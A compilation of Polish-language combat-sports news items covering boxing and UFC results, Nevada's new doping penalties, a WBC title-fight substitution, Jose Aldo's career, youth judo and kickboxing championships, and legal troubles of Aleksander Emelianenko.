Damian Jonak w Inowrocławiu miał okazję być gwiazdą wieczoru. Początkowo wydawało się, że jego rywal – Ayoub Nefezi wysoko zawiesi poprzeczkę, jednak z czasem wszystko ustabilizowało się. Tunezyjczyk zaraz po rozpoczęciu walki niepokoił Jonaka. Nefezi był bardzo ruchliwy i energiczny, ale w końcu polski bokser znalazł sposób na rywala. W czwartej rundzie huknął prawym sierpowym i Tunezyjczyk znalazł się na deskach Nefezi zobaczył, że żartów z Jonakiem nie ma. Walki nie udało się rozstrzygnąć przed czasem, ale Polak mógł być spokojny o zwycięstwo. Sędziowie punktowali: 97-93, 99-91, 97-92.

Krzysztof Cieślak nie spełnił pokładanych w nim nadziei. Pojedynek zakończył się przedwcześnie, gdyż Polak i jego rywal – Oszkar Fiko zderzyli się głowami, w wyniku czego Rumun doznał głębokiego rozcięcia. Walkę przerwano i sędziowie musieli ogłosić werdykt. Niejednogłośnie wygrał Fiko. Nikodem Jeżewski decydował o przebiegu pojedynku z Tomislavem Rudanem, dlatego też wygrana na punkty w przypadku polskiego boksera była pewna. 113 kilogramów w ringu robi wrażenie. Mowa o Marcinie Siwym, który w Inowrocławiu precyzyjnie wykonał swoje zadanie. Vjekoslav Bajić nie miał zbyt wiele do powiedzenia. Siwy w drugiej rundzie posłał Chorwata na deski, a w dodatku nabawił się kontuzji łuku brwiowego. Narożnik Bajicia rzucił biały ręcznik. W wadze półśredniej swój pojedynek wygrał Michał Żeromiński. W listopadzie Łukasz Maciec pokonał w Krakowie 28-letniego boksera, który zanotował drugą porażkę w karierze. Żeromiński w Inowrocławiu wrócił na właściwe tory – zdecydowanie wygrał z Ivo Gogoseviciem.

KM

Ostatnia wygrana Munoza

Republika Filipin po raz pierwszy gościła UFC. Debiut najlepszej organizacji  świata w Manili uświetnił występ Marka Munoza, który stoczył ostatni pojedynek w karierze. W walce wieczoru Frankie Edgar zdominował Urijaha Fabera.

Główne gwiazdy UFC Fight Night 66 w tym roku walczyły po raz pierwszy. Bukmacherzy przed rozpoczęciem gali nie mieli wątpliwości i jasno wskazywali na Edgara. Faber posiadał atut w postaci doświadczenia, gdyż stoczył prawie dwa razy więcej pojedynków niż rywal, ale jak się okazało nie miało to żadnego przełożenia na postawę 36-latka w oktagonie. Edgar rozdawał karty i kontrolował przebieg walki. Problem w tym, że pojedynek nie zadowolił publiczności. Zabrakło efektywności, widowiskowości i zwrotów akcji. Walkę należy określić mianem dobrej technicznie. Edgar swobodnie poruszał się po oktagonie i celnie punktował rywala. Faber nie miał pomysłu na zagrożenie byłemu mistrzowi UFC wagi lekkiej.  Edgar był lepszy boksersko, również obalenia szły na jego konto. Pięciorundowy pojedynek nie znalazł rozstrzygnięcia w regulaminowym czasie, jednak werdykt był oczywisty. Edgar wygrał czwartą walkę z rzędu.

Mark Munoz zapowiadał, że w Manili stoczy swój ostatni pojedynek w karierze. Amerykanin chciał zwycięstwem uwieńczyć swoją przygodę z mieszanymi sztukami walki, jednak w  ostatnim czasie notował same porażki. Trzy przegrane z rzędu stawiały w wątpliwość możliwości Munoza, jednak 37-latek wielokrotnie udowadniał, że ma umiejętności i potencjał, które uprawniają go do rywalizacji na najwyższym poziomie. Mający filipińskie korzenie fighter stanął w oktagonie naprzeciw Luke’a Barnatta. W Manili spotkali się dwaj zawodnicy, którzy chcieli przerwać fatalne serie. Munoz miał za sobą trzy porażki, a Barnatt dwie. Doświadczony Amerykanin był górą w tym pojedynku i zwycięstwem zakończył swoją karierę. Dwaj sędziowie zdecydowanie wskazali na zwycięstwo Munoza – 30-27, trzeci z arbitrów ocenił walkę jako bardziej wyrównaną – 29-28. Po zakończeniu pojedynku Munoz wygłosił przemówienia, w którym potwierdził, że był to jego ostatni pojedynek. Przygodę z MMA zakończyła wybitna postać.

Ciekawie zapowiadało się starcie Gegarda Mousasiego i Costasa Philippou. Holender po raz kolejny pokazał bogaty repertuar zagrań i udowodnił, że ma ogromne możliwości. Mousasi zdecydowanie wygrał na punkty – trzy razy 30-27. Neil Magny kontynuuje swoją serię zwycięstw. Siódma wygrana z rzędu robi wrażenie i buduje pozycję amerykańskiego fightera w wadze półśredniej. Uderzenia Magny’ego w drugiej rundzie zastopowały zapędy Hyuna Gyu Lima. Efektownie pojedynek zakończył Jon Tuck. Już w pierwszej rundzie duszeniem zza pleców zaskoczył Tae Hyuna Banga. W ten sam sposób zwycięstwo odniósł Jon Delos Reyes, który odprawił z kwitkiem Roldana Sangcha-ana. Niecałe półtorej minuty potrzebował  Li Jingliang, aby pokonać Dhiega Limę.

Aż trzy pojedynki podczas gali UFC Fight Night 66 zakończyły się niejednogłośną decyzją sędziów. Zhuikui  Yao okazał się lepszy od Nolana Ticmana, Phillipe Nover pokonał Yuiego Chul Nama. Jeden z oceniających widział przekonujące zwycięstwo Levana Makashviliego nad Markiem Eddivą (30-27), a kolejni widzieli wyrównany bój: 29-28, 28-29. Kajan Johnson pewnie pokonał Lipenga Zhanga.

KM

Stosowanie dopingu = surowa kara

Nie ulega wątpliwości, że kolejne doniesienia o stosowaniu dopingu w MMA i boksie odrzucają. Rodzą obawy, czy rywalizacja na pewno opiera się na umiejętnościach, czy też zawodnik zdecydował się zastosować środek, który zwiększy jego efektywność. W żaden sposób nie dodaje to kolorytu, a wręcz szkodzi i rodzi afekt.

W ostatnim czasie w UFC na światło dzienne niczym grzyby po deszczu wychodziły kolejne afery. Problem w tym, że głównymi aktorami tych wydarzeń były twarze najlepszej organizacji mieszanych sztuk walki. Dla całego świata było to zaskoczenie. Wielcy idole, gwiazdy, ikony MMA, a prawda okazywała się bolesna. Choć Anderson Silva bronił się rękami i nogami, zaprzeczał, że nie stosował zakazanych środków, kolejne badania były bezlitosne. Wyniki mówiły same za siebie – Brazylijczyk pozwolił sobie na stosowanie dopingu. Nie lepszy był Nick Diaz, który rywalizował ze „Spiderem” podczas UFC 183. Właśnie po tej gali obaj fighterzy wpadli i zaczęły się ich problemy. Kłopoty i to coraz większe ma Jon Jones. Mało by powiedzieć, że mistrz UFC wagi półciężkiej był wzorem wojownika, jednak ten wizerunek szybko legł w gruzach. Jones cztery lata dzierżył w dłoniach pas, ale okazało się, że ma problemy z dopingiem, co wpędziło go w serię przykrych wydarzeń. Na stosowaniu niedozwolonych środków przyłapano byłego gwiazdora UFC – Jona Fitcha. Te cztery nazwiska doskonale pokazują, że problem nie dotyczy tylko tych, którzy chcą zabłysnąć i wybić się z nizin, ale również tych będących na szczycie.

UFC nie zamierza składać broni i podejmuje walkę z procederem, gdyż negatywnie wpływa on na wizerunek organizacji. Zatrudniono specjalistę do walki z dopingiem – Jeffa Novitzy’ego. Ma on odpowiadać za kontrolę stanu zdrowia zawodników oraz opracowanie programu, który pozwoli skutecznie walczyć z problemem.

Do pracy biorą się również odpowiednie instytucje. Komisja Sportowa Stanu Nevada opracowała nowe zasady, które mają skutecznie odstraszyć stosujących doping. W Las Vegas stawiają na wysokie kary i chcą rozszerzyć tę ideę na inne stany. Po raz pierwszy komisja zdecydowała się na taki krok. Dla zawodników MMA i bokserów rywalizujących w Las Vegas ma być to skuteczny straszak, a jeśli dojdzie do rozszerzenia programu to na terenie wszystkich stanów zapanują restrykcyjne zasady. Komisja Sportowa Stanu Nevada stworzyła pięć grup, które dokonują klasyfikacji niedozwolonego czynu i wyciągają odpowiednie konsekwencje. Przewidziano kary zawieszenia, w tym dożywotniego, oraz utratę wynagrodzenia za stoczony pojedynek.

Pierwszą kategorię stanowią leki uspokajające, konopie indyjskie, opiaty, środki przeciwlękowe, środki nasenne, których stosowanie podzielono w czterostopniowej skali. Stosujący musi się liczyć odpowiednio z karą zawieszenia na 18 miesięcy (utrata 30-40% wynagrodzenia), 2 lata (40-50%), 4 lata (60-75%), dożywocie (100%). Zażycie środków moczopędnych do ścinania wagi wiąże się z zakazem startu przez 12 miesięcy (30-40% wynagrodzenia), 2 lata (40-50), przewidziano również karę dożywotniego zawieszenia. Stosowanie stymulantów wiąże się z trzema możliwymi rozwiązaniami: zawieszenie na 2 lata (35-45%), 3 lata (50-60%), dożywocie (100%). W przypadku sterydów anabolicznych kary zaczynają się od 3 lat, przez 4 aż do dożywocie. Unikanie kontroli powoduje zawieszenie na 4 lata (utrata 50% wynagrodzenia) bądź  dożywotnie (100%).

Czy system zaproponowany przez Komisję Sportową Stanu Nevada stanie się powszechny? Nowe zasady mają wejść w życie 1 września.

KM

Mark powie dość

A właściwie już powiedział. 37-letni fighter podczas UFC Fight Night 66 stoczy swój ostatni pojedynek. Mark Munoz informował o tym od dawna i decyzji nie zmienił.

UFC po raz pierwszy zawita do Republiki Filipin. Z pewnością gala nie zgromadzi tylu zainteresowanych, ilu przyciągnęła obecność papieża Franciszka, ale będzie to swego rodzaju nowe doświadczenie dla  prawie 93 milionowego państwa. W Manili zaprezentuje się kilku ciekawych zawodników, a w walce wieczoru zaprezentują się Frankie Edgar i Urijah Faber. UFC rozszerza swoje wpływy i chce zyskiwać na popularności. Po debiucie w Polsce przyszedł czas na Republikę Filipin. Najlepsza organizacja mieszanych sztuk walki na świecie chce dotrzeć w każdy zakątek ziemi.

UFC liczy, że dostarczy w Manili pozytywnych wrażeń i zarazi lokalną społeczność miłością do MMA, co może tylko przynieść pozytywne i wymierne efekty samej organizacji. Podczas gali swój ostatni pojedynek stoczy Mark Munoz.37-letni fighter oficjalnie zapowiedział,  że zamierza zakończyć swoją przygodę, ale wiadomo jak to bywa z odejściami. Często zdarza się, że zawodnicy wracają. Jednak trzymając się decyzji Munoza warto podkreślić, iż miejsce jego walki jest wyjątkowe. Dla niego samego. Munoz ma filipińskie korzenie, co jego rywalizacji z Luke’m Barnattem dostarczy dodatkowego kolorytu. W oktagonie spotkają się dwaj zawodnicy, którzy mają za sobą ciężki czas. Munoz przegrał trzy pojedynki z rzędu, wszystkie kończyły się już w pierwszej rundzie. Amerykanin musiał uznać wyższość Lyoto Machidy, Gegarda, Mousasiego oraz Roana Carneiro. Na koniec kariery przydałoby się wygrać, więc Munoz jest podwójnie zmotywowany. Walczy w szczególnym dla siebie miejscu o zwycięstwo, które miałoby być ukoronowaniem jego przygody z MMA. Barnatt łatwo nie podda się. Anglik miał nieskazitelny bilans 8-0, jednak w dwóch ostatnich pojedynkach poniósł porażki. Sposób na Barnatta znaleźli Sean Strickland oraz Roger Narvaez. Warto nadmienić, że oba pojedynki zakończyły się decyzjami sędziów.

W walce wieczoru podczas UFC Fight Night 66 zaprezentują się Frankie Edgar i Urijah Faber. Zdecydowanym faworytem bukmacherów jest były mistrz wagi lekkiej. 33-latek znany jest z sag pojedynkowych z B.J. Pennem, Gray’em Maynardem oraz Bensonem Hendersonem. Edgar tworzy widowisko i dostarcza wielu emocji. W 2015 roku jeszcze nie walczył, a ostatnią walkę stoczył w listopadzie ubiegłego roku z Cubem Swansonem. 33-latek zmusił rywala do poddania w piątej rundzie. Doświadczony Faber w rywalizacji z Edgarem został spisany na straty. Mimo wszystko 36-latek ma bogaty repertuar zagrań i może zaskoczyć swojego rywala. Faber stoczył w MMA blisko dwa razy więcej pojedynków niż Edgar. Ostatnią porażkę zanotował w lutym ubiegłego roku, kiedy podczas walki wieczoru UFC 169 przegrał z Renanem Barao. Po porażce podniósł się i odniósł dwa zwycięstwa. Czy Faber jest w stanie wygrać po raz trzeci z rzędu?

KM

Jednak Janik

Polak za Polaka – tak najkrócej należy ująć całą sprawę. Krzysztof „Diablo” Włodarczyk bardzo chciał walczyć z Grigorijem Drozdem, ale choroba pokrzyżowała mu plany. Zastąpi go inny Polak. Łukasz Janik stanie przed szansą wywalczenia mistrzostwa świata WBC wagi junior ciężkiej.

„Diablo” chciał wrócić na ring w wielkim stylu, ale nie był w stanie przygotować się do pojedynku z Drozdem w stu procentach. Choroba wyłączyła go z treningów. Drozd przygotowywał się do występu na 22 maja i czekał na decyzję Włodarczyka. Obóz „Diablo” podjął decyzję o rezygnacji z walki. Sprawą priorytetową stało się znalezienie rywala dla rosyjskiego czempiona. Wybór padł na Łukasza Janika, który dostanie życiową okazję na spełnienie marzeń.

Dla polskiego boksera to ogromna szansa, na którą długo czekał. Warto przypomnieć, że Janik już raz był blisko tak istotnej walki, jednak został wymanewrowany przez kwestie formalne. Polak miał walczyć o mistrzostwo świata WBA z Denisem Lebiediewem, jednak zabiegi prawników Youriego Kalengi sprawiły, że do pojedynku nie doszło. Janik musiał się obejść smakiem. Polak liczył, że będzie miał okazję zawalczyć o najwyższe laury i pomścić Pawła Kołodzieja, którego pokonał Lebiediew, jednak opór obozu Kalengi doprowadził do sytuacji, w której ten osiągnął sukces. Tylko na płaszczyźnie formalnej, gdyż w ringu Francuz walkę przegrał.

W myśl powiedzenia „co się odwlecze to nieuciecze” Janik doczekał się swojej szansy. Choć w kwietniu był rozczarowany i rozgoryczony to los się do niego uśmiechnął. Warto być cierpliwym, a przy okazji liczyć na ociupinkę szczęścia, które dopisało Janikowi. Szkoda Włodarczyka, gdyż tak bardzo chciał wrócić na szczyt oraz nadal liczy na odzyskanie mistrzowskiego tytułu. Wszyscy doskonale znają potencjał „Diablo” i głęboko wierzą, że kiedy dojdzie do pełni sił stanie do rywalizacji o pas. Teraz przed taką szansę dostał Łukasz Janik. 22 maja w Moskwie Polak stanie w ringu naprzeciw Grigorija Drozda w pojedynku o mistrzostwo świata WBC wagi junior ciężkiej.

Rosjanin stanie do obrony pasa po raz pierwszy. Dla przypomnienia –wywalczył go we wrześniu ubiegłego roku, kiedy to na punkty pokonał „Diablo” Włodarczyka. Warto nadmienić, że Drozd na patent na polskich bokserów. Rosjanin pokonał wspomnianego Włodarczyka, a także rozprawił się z Mateuszem Masternakiem. Przed Janikiem zatem ogromne wyzwanie. Polak dostaje zarazem szansę,  ale musi przygotować się na ciężką przeprawę. Nie będzie faworytem tego pojedynku. Ponadto, oprócz Drozda przyjdzie mu się zmierzyć z innym rywalem. Niezależnie od rozstrzygnięcia będą prowadzone dywagacje na temat tego, jak w tej rywalizacji poradziłby sobie Włodarczyk. Janik musi skupić się na szansie jaką dostaje. Dla Polaka to wielka możliwość na osiągnięcie sukcesu. Jedna przeszła mu koło nosa, ale dostaje kolejną. Czy to jakiś znak?

KM

Jose Aldo

Brazylijski zawodnik MMA urodzony 9 września 1986 roku w Manaus.  Profesjonalną karierę w MMA rozpoczął w 2004 roku w wieku 17 lat. Pierwsze siedem walk  wygrał przed czasem w pierwszej rundzie.  W swoim ósmym starciu doznał pierwszej porażki w karierze.  Jego rywal Luciano Azevedo poddał go w drugiej rundzie. W 2008 roku legitymujący się bilansem 10-1 Aldo, podpisał kontrakt z Amerykańska organizacją WEC.  W ciągu roku wygrał pięć walk z rzędu, wszystkie przez nokaut. Dzięki temu dostał szansę walki o Mistrzostwo WEC z Mikiem Brownem. Do tego starcia doszło 18 listopada 2009 roku w Las Vegas. Aldo wygrał z Amerykaninem przez TKO w drugiej rundzie i odebrał mu pas.  W styczniu 2010 roku Aldo został nagrodzony przez portal internetowe sherdog.com tytułem „Zawodnika roku 2009”. 24 kwietnia 2010 roku obronił tytuł pokonując przez jednogłośną decyzję Urijah Fabera.  W drugiej obronie tytułu 30 września 2010 roku znokautował Manwela Gamburjana.  Było to ósme z rzędu zwycięstwo Aldo w WEC, co było rekordem tej organizacji. 28 października 2010 roku prezydent UFC, Dana White ogłosił ze WEC zostanie połączona z UFC, a jej mistrzowie w wagach piórkowej i koguciej staną się automatycznie mistrzami UFC.  20 listopada podczas konferencji prasowej Aldo otrzymał pas mistrza UFC w wadze piórkowej.  Tytuł obronił pięciokrotnie. 30 kwietnia 2011 roku w Toronto pokonał przez jednogłośna decyzję Kanadyjczyka Marka Hominicka. 9 października w Houston Amerykanina Kenny’ego Floriana.  14 stycznia 2012 roku znokautował Amerykanina Chada Mendesa. 2 lutego 2013 roku pokonał na punkty debiutującego w wadze piórkowej byłego mistrza wagi lekkiej Frankiego Edgara. Na początku sierpnia stoczył kolejną walkę w obronie pasa, tym razem jego rywalem był Koreańczyk Chan Sung Jung, którego ostatecznie pokonał przez TKO w czwartej rundzie.  1 lutego 2014 roku Aldo pokonał Ricardo Lamasa po pięciorundowym pojedynku. 12 grudnia 2015 roku doszło do starcia z Conorem McGregorem. Brazylijczyk przegrał przez nokaut już w 13 sekundzie pierwszej rundy i stracił pas mistrzowski UFC. 

Andrzej Fonfara gościem w Asie Wywiadu.

Telewizja FightKlub zaprasza na transmisję kolejnej gali z cyklu ESPN “Friday Night Fights”. Tym razem na ringu w Hartford zobaczymy intrygujące zestawienie w kategorii lekkiej. Niepokonany Portorykańczyk Reynalo Ojeda (16-0, 9 KO) zmierzy się na dystansie 10 rund z Montym Mezmą Clayem z (36-4, 22 KO) USA. Reynaldo “nauczyciel” Ojeda po bogatej karierze amatorskiej na zawodowstwo przeszedł w wieku 26-lat, przełomowym wydarzeniem mogło okazać się podpisanie kontraktu z najważniejszą postacią współczesnego boksu – Alem Haymonem w lutym tego roku. Wysokie miejsca w rankingach WBA (13) i WBO (14) stwarzają realne podstawy dla jego aspiracji mistrzowskich. W ostatnim pojedynku Portorykańczyk wygrał jednogłośną decyzją na punkty z solidnym Sergio Villaneuvą w symbolicznej meksykańsko-portorykańskiej konfrontacji. Teraz czeka go pojedynek z weteranem obdarzonym 12-letnim doświadczeniem na profesjonalnych ringach. Niski jak na kategorię lekką Monty Meza Clay walczy szukając półdystansu w ofensywie, zapewniając emocjonujące i widowiskowe pojedynki. W ostatnim występie, po zaciętych i krwawych 10 rundach przegrał na punkty z byłym pretendentem do tytułu w wadze lekkopółśredniej Rodem Salką.

Na transmisję gali z Connecticut zapraszamy w nocy z piątku na sobotę od godz. 03.00. Powtórka w sobotę o 11:30.

Andrzej Fonfara gościem w Asie Wywiadu

Tym razem gościem programu AS Wywiadu będzie Andrzej Fonfara – zwycięzca IV plebiscytu telewizji FightKlub na najlepszego polskiego boksera 2014 roku. W wywiadzie opowie m.in. o swojej karierze, życiu prywatnym oraz o planach na przyszłość. Nie zabraknie też trudnych i kontrowersyjnych pytań, które jak zwykle zada prowadzący program – Patryk Mirosławski. Na premierową emisję zapraszamy w sobotę na godzinę 20:00.

Źródło: materiały prasowe

Zaplecze daje o sobie znać

Zawsze na pierwszej stronie stawiamy seniorów, bo to oni walczą o najważniejsze laury. Mimo wszystko pamiętamy o tych, którzy za jakiś czas ich zastąpią. Ważne jest, aby wkładać wiele wysiłku, aby szkolenie młodzieży było efektywne. Melodia przyszłości musi grać jak najpiękniej.

W polskim judo w ostatnim czasie nie można narzekać na poziom sportowy. Nasi zawodnicy nie zdobyli szczytu Mount Everest, ale robią ustawiczne postępy i zdobywają cenne rankingowe punkty. Jak mantrę powtarza się cały czas temat brązowego medalu Katarzyny Kłys na ubiegłorocznych mistrzostwach świata w Czelabińsku. Ale warto do tego wracać. To swego rodzaju punkt zwrotny, który pokazuje, że polskie judo powoli wraca na właściwe tory. Ważne również, aby pamiętać o młodych i ich rozwoju.

Ostatnie wyniki pokazują, że nasza młodzież stara się zaistnieć. Z różnymi efektami. Nie ulega wątpliwości, że najsilniejsze są ekipy ze Wschodu, ze wskazaniem na Rosję oraz Azerbejdżan. Dobrze radzą sobie młodzi Niemcy, Włosi oraz Słoweńcy. Warto odnotować, że rywalizacja zawsze służy rozwojowi zawodników. Nasza młodzież dzięki uczestnictwu w wszelkiej maści turniejach zyskuje istotne doświadczenie.

Podczas Pucharu Europy kadetów w Kluż-Napotka srebrny medal w kategorii 90kg zdobył Eyk Ryciak. Polak był o krok od triumfu, jednak na jego drodze stanął Oleksii Babenko z Ukrainy. Ryciak wygrał trzy pojedynki, ale w tym najważniejszym musiał uznać wyższość rywala. Rywalizację w Pucharze Europy kadetów zdominowali reprezentanci Ukrainy i Rumunii, którzy wywalczyli po trzy złote medale. Dobre występy zanotowali także Turcy oraz Serbowie.

Cztery medale padły łupem naszych juniorów w Pucharze Europy w Kownie. Rzecz jasna, że największą radość sprawił Jan Ozimek, który w kategorii 90kg wywalczył złoty medal. Młody Polak pozostawił rywali daleko w tyle. Ozimek wygrał cztery walki i stanął na najwyższym stopniu podium. W walce finałowej uporał się z reprezentantem Białorusi – Danielem Mukete. Paula Kulaga była o krok od triumfu w kategorii 78kg, jednak musiała zadowolić się srebrnym medalem. Nie ma co narzekać, gdyż drugie miejsce jest ogromnym osiągnięciem młodej Polki. Kulaga w decydującym starciu uległa Sarze Rozdriguez z Hiszpanii. Brąz trafił do Martyny Dobrowolskiej w 57kg. Polka szła jak burza, pokonując kolejne rywalki, jednak jej licznik zwycięstw zatrzymał się na czterech. W półfinale naprzeciw Dobrowolskiej stanęła Dewy Karthaus z Holandii, która triumfowała w całym turnieju. Polacy do swojej zdobyczy dołożyli jeszcze jeden brązowy medal. Jego autorem został Jan Jackiewicz. Warto odnotować, że Polakowi do zdobycia medalu wystarczyła zaledwie jedna wygrana. Ponadto na piątych miejscach uplasowały się: Agata Roszkowska (44kg), Urszula Hofman (70kg) oraz Anita Formela (+78kg).

KM

Mistrzostwa Polski K-1 Rules, Legnica 2015

Zapraszamy na transmisję na żywo z Mistrzostw Polski K-1 Rules, które odbędą się w dniach 23-24 maja 2015 r. w Legnicy. Już dziś prezentujemy Państwu video zaproszenie.

Plan transmisji na żywo:

23.05.2015 (sobota) – od godz. 09.00 do godz. 19.00 – Eliminacje

24.05.2015 (niedziela) – od godz. 09.00 do godz. 14.00 – Półfinały

24.05.2015 (niedziela) – od godz. 15.00 do godz. 18.00 – Finały

[kod]

Transmisja "RING A"

Transmisja "RING B"

Emelianenko w więzieniu?

Nad głową Aleksandra Emelianenki zawisły czarne chmury. Rosyjskiemu wojownikowi grozi pięć lat pozbawienia wolności.

Takiej kary dla zawodnika MMA domaga się prokuratura, która oskarża 33-latka o gwałt. Ponadto, Rosjanin miałby zapłacić karę grzywny w wysokości 50 tysięcy rubli. Emelianenko jest oskarżany o zgwałcenie pokojówki Poliny Stepanowej, która sprzątała jego mieszkanie. Do zdarzenia miało dojść w marcu 2014 roku. Rosyjski wojownik potwierdza, że do kontaktu fizycznego między nim, a kobietą doszło, ale za jej aprobatą. Dodatkowo Emelianenko miał przetrzymywać paszport Stepanowej. Na początkowym etapie działań rosyjskiemu gigantowi zarzucano zmuszanie kobiety do zażywania narkotyków. Do tego celu 33-latek miał używać siły. Ostatecznie ten zarzut odsunięto. Emelianenko czeka na rozwój wypadków, ale jego sytuacja nie wygląda najlepiej. Wyrok zostanie ogłoszony w ciągu najbliższych dni.

Rosjanin nie stroni od rozrywkowego trybu życia, co w jego przypadku wiąże się z licznymi kłopotami. Emelianenko zaledwie miesiąc po wpłynięciu oskarżenia przeciw niemu trafił do aresztu. Znalazł się za kratkami w związku z incydentem drogowym. Emelianenko prowadził samochód pod wpływem alkoholu i wjechał w latarnię. 33-latek z Rosji znany jest z licznych ekscesów, jednak w większości nie są one w żaden sposób związane z jego aktywnością sportową. Dla byłej gwiazdy PRIDE nie ma różnicy, czy szkodzi sobie, czy narusza publiczny porządek. W 2013 roku Emelianenko podczas lotu samolotowego groził współpasażerom. Nie zachowywał podstawowych zasad bezpieczeństwa, ignorował polecenia obsługi pokładowej. Gdyby tego było mało – palił papierosy i żądał alkoholu. Patrząc na historię Rosjanina widać, że sam stwarza sobie kłopoty. Być może teraz dostanie czas na przemyślenie swojego życia. Wszystko zależy od decyzji sądu, jednak należy pamiętać, że rosyjski system sądownictwa rządzi się swoimi prawami.

Swego czasu Emelianenko miał pojawić się w Polsce. Organizacja KSW planowała zaprosić go na jedną ze swoich gal jako rywala Mariusza Pudzianowskiego. Ostatecznie do pojedynku nie doszło ze względu na stan zdrowia Rosjanina. Okazało się, że Emelianenko jest chory na żółtaczkę. Obecnie Rosjaninowi nie w głowie kolejne występy na zawodowych galach. Aleksander Emelianenko swego czasu był gwiazdą organizacji PRIDE i M-1, jednak zawsze był w cieniu swego brata – Fedora. Teraz o 33-latku jest głośno, ale nie z powodów czysto sportowych. Ostatni pojedynek stoczył w styczniu 2014 roku, kiedy to poniósł siódmą porażkę w swojej karierze. Potem zaczęła się historia z pokojówką, a następnie doszedł do tego incydent drogowy. Kłopoty posypały się na głowę Emelianenki, dla którego paradoksalnie może być to szansa. Aby się obudzić i zastanowić nad swoim życiem. W MMA wielokrotnie zachwycał, ale nawet największy talent i umiejętności można zaniedbać.

 

KM

 

Adamek skończy z Saletą

Niby ktoś, kiedyś coś, ale nie za bardzo wiadomo co. Padło hasło: Adamek – Saleta, jednak wszyscy jednym uchem to wpuścili, a drugim wypuścili. Okazuje się, że temat jest aktualny. A nawet więcej – dojdzie do takiego pojedynku.

Teoretycznie „Góral” pożegnał się już z ringiem po porażce z Arturem Szpilką. Polskie gwiezdne wojny miały wyłonić króla wagi ciężkiej. Adamek po porażce na punkty otwarcie przyznawał, że jego czas dobiega końca. Jednak nie zamknął sobie furtki powrotu na ring i stoczenia walki pożegnalnej. Bo tak chyba należy rozpatrywać ewentualny pojedynek z Przemysławem Saletą. Adamek w starciu ze Szpilką zaprezentował się na polskiej ziemi po pięciu latach przerwy. Konsekwentnie stawiał na swoją karierę w USA, a do Polski przybywał na wyjątkowe okazje. W 2009 roku w Łodzi uporał się z Andrzejem Gołotą, w walce która miała wyłonić króla wagi ciężkiej. Dość często na przestrzeni ostatnich lat dochodzi do konkursu na najlepszego polskiego ciężkiego. Adamek wygrał z Gołotą, Szpilka z Adamkiem, a teraz?

Nie ulega wątpliwości, że w pewnym punkcie czasu pięściarz chce z godnością pożegnać się z ringiem. Na dobre uczynił chyba to Andrzej Gołota. „Andrew” przegrał z Adamkiem i wydawało się, że da sobie spokój. Jednak pojawiła się możliwość walki z Saletą. Gołota  przegrał i postanowił jeszcze raz zakończyć karierę. W ostatnim starciu „Andrew” skrzyżował rękawice z Danellem Nicholsonem w czterorundowym pojedynku. Na przykładzie Gołoty widać jak trudne jest odejście. Być może problem tkwi też w innym miejscu. A nazywa się propozycje.

Nie oszukujmy się – nazwisko Gołoty, Adamka, Salety robi swoje i działa na wyobraźnię. Aspekt marketingowy jest spełniony, promocja wydarzenia zapewniona i kręci się. Często znani i utytułowani są najlepszym magnesem. Przyjmują kolejne oferty, choć mają świadomość, że ich czas minął już dawno. Adamek jest o osiem lat młodszy od Salety i cały czas był czynnym bokserem. Regularnie trenował, toczył kolejne pojedynki, choć tracił na wartości. Z kolei były mistrz Europy na ringu w zasadzie się nie pojawia. W 2013 roku zdecydował się na rywalizację z Andrzejem Gołotą, która od lat wyczekiwana była przez całą Polskę. Ale wrócił na ring po siedmiu latach przerwy.

Adamek jest w lepszej sytuacji. Saleta obecnie wiruje wokół sportu, ale raczej jako komentator, ekspert, a czasami nawet przyjmuje oferty z programów popularno-rozrywkowych. „Góral” zrobił w boksie to, co mógł. Był mistrzem świata wagi półciężkiej i junior ciężkiej, walczył o pas w ciężkiej. W Stanach zrobił karierę i wszedł na szczyt. Teraz chce pożegnać się z polską publicznością. Ale czy na tym będzie koniec? Adamek ma swoją wartość i zapewne będzie kuszony. Tak wygląda sytuacja w polskim boksie. Adamek i Saleta mają być gwiazdami wieczoru podczas gali Polsat Boxing Night 26 września w Łodzi.

KM

Walka o tytuły

W drugi majowy weekend w Lesznie odbyły się mistrzostwa Polski seniorów i kadetów w kickboxingu w formule light-contact i point-fighting. Rywalizacja wśród mężczyzn odbyła się w dziewięciu kategoriach, u kobiet w pięciu.

Pochylając się nad rywalizacją seniorską należy odnotować, że wśród pań w kategorii 50kg w point-fighting triumfowała Anna Świderska z KS X-Fight Piaseczno przed Beatą Włosiecką z Mechnika Włodawa. Malwina Strzelecka okazała się najlepsza w 55kg, a Emilia Szabłowska w 60kg. Izabela Helińska musiała uznać wyższość Pauliny Jarzmik w 65 kg. W kategorii 70kg najlepsza okazała się Agnieszka Woźniak. Wśród pań rywalizację zdominowały zawodniczki z Piaseczna, które zdobyły trzy złote medale – Świderska, Szabłowska, Jarzmik. Jarzmik spróbowała swoich sił w light-contact, ale w 60kg i wywalczyła mistrzowski tytuł. Katarzyna Mośko okazała się lepsza od Anny Knobel w 50kg. Rywalizację w 55kg na swoją korzyść rozstrzygnęła zawodniczka X-Fight Piaseczno  Joanna Różańska, która w finale pokonała Eweliną Nowosielską. Izabela Helińska z rywalizacji z zawodniczkami z Piaseczna może być zadowolona tylko połowicznie. Z Jarzmik przegrała, ale pokonała Pauliną Frankowską i zdobyła złoty medal w 65kg w light-contact. W 70kg najlepsza Agnieszka Osial  z KSW Łuków.

Rafał Karcz zdominował rywalizację w point-fighting  57kg. Aleksander Karwatka w 63kg nie miał rywala i z urzędu przypadło mu pierwsze miejsce. W 69kg Rafał Baczyński z Piaseczna rozprawił się z Michałem Strakulskim z Leszna. Zawodnicy z Piaseczna dobrze radzili sobie podczas mistrzostw Polski. Kolejne złoto zdobył Rafał Kurzeja w 74kg. Dominik Kotowski z Polic triumfował w 79kg. Piotr Engelman mógł cieszyć się ze złotego medalu w kategorii 84kg. W 89kg triumf Artura Zielińskiego, a w 94kg Piotra Wypchała. Najlepszym ciężkim (+94kg) okazał się Łukasz Świderski z Piaseczna. W light-contact kolejny medal dla X-Fight Piaseczno, a jego autorem Łukasz Wichowski w 79kg. W kategorii 57kg triumfował Robert Niedźwiecki. Aleksander Karwatka miał rywali w light-contact i w 63kg zajął drugie miejsce, wygrał Maciej Mucha. W licznie obsadzonej kategorii 69kg zwyciężył Mateusz Parat. Adrian Durma najlepszy w 74kg. W 84kg złoto zdobył Wojciech Wiśniewski, a Piotr Engelman, który triumfował w point-fightingu był szósty. Szymon Wąs ze złotem w 89kg. Piotr Wypchał kończy mistrzostwa z dwoma złotymi medalami. W +94 kg najlepszy okazał się Rafał Gąszczak.

Porażka Kasperskiego

